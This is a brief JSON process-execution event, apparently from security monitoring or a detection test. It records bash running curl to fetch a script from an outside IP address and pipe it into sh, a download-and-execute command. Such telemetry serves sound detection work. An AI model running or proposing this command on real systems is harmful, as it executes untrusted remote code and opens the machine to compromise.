{
  "event": "exec",
  "pid": 4245,
  "ppid": 4100,
  "uid": 1000,
  "parent_comm": "bash",
  "filename": "/usr/bin/curl",
  "argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]
}